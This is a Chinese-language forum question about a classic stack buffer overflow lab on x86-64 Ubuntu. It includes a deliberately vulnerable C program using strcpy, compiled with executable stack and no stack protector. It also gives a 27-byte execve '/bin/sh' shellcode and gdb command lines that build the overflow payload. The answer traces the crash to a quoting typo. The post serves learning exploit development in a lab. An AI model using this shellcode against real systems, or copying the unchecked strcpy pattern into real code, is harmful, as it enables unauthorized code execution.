简单缓冲区溢出漏洞利用中的负载在 x86-64 Ubuntu 16.04 LTS 上重定向 %rip 导致早期(意味着在 %rip 被覆盖之前)段错误

逆向工程 缓冲区溢出 x86-64
2021-06-27 22:01:02

我试图通过覆盖指令指针 %rip 来进行简单的缓冲区溢出利用。

这是我的 vuln.c 代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{

    char buffer[256];
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

我用它编译

gcc vuln.c -o vuln -z execstack -fno-stack-protector

正如这里的问题中所讨论的那样,我相信我能够通过沿线提供一些东西来控制指令指针

gdb$ r $(python -c 'print "A"*264 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

gdb,因为这给了我:

Stopped reason: SIGSEGV
0x00007fffffffd8c0 in ?? ()
gdb$ x 0x00007fffffffd8c0
0x7fffffffd8c0: 0x4141414141414141
gdb$ 

所以显然我设法将执行流重定向到我想要的内存位置。

现在我想在这个位置执行一些shellcode。为此,我使用在我试图利用的同一系统上编译的 execve shellcode:

$ objdump -d spawnshell.o

spawnshell.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <_start>:
   0:   48 bb 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rbx
   7:   2f 73 68 
   a:   48 c1 eb 08             shr    $0x8,%rbx
   e:   53                      push   %rbx
   f:   48 89 e7                mov    %rsp,%rdi
  12:   50                      push   %rax
  13:   57                      push   %rdi
  14:   48 89 e6                mov    %rsp,%rsi
  17:   b0 3b                   mov    $0x3b,%al
  19:   0f 05                   syscall 

Spawnshell.o 在我的系统上进行了测试并且可以正常工作。

写成更紧凑的形式:

\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b \x0f\x05 - 27 字节

现在我希望我应该能够在我的缓冲区的开头注入它,用“A”填充剩余的缓冲区,然后在最后再次覆盖指令指针:

gdb$ r $(python -c 'print "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + A"*(264-27) + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

如果我这样做,我不明白的其他事情会发生:我最终在 __strcpy_sse2_unaligned 函数中的某个地方使用以下命令:

<__strcpy_sse2_unaligned+551> movdqu xmm1,XMMWORD PTR [rsi]

和段错误:

Stopped reason: SIGSEGV
__strcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296
296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.

所以我的解释是,即使在我覆盖 %rip 之前,strcpy 函数也会被某些东西阻塞。

它是什么,或者我如何去找出问题所在?

1个回答

天哪,我把引文弄乱了:

[...] x57\x48\x89\xe6\xb0\x3b\x0f\x05" + A"* (264-27) + "\x7f\x [...]

投票关闭/删除 - 抱歉。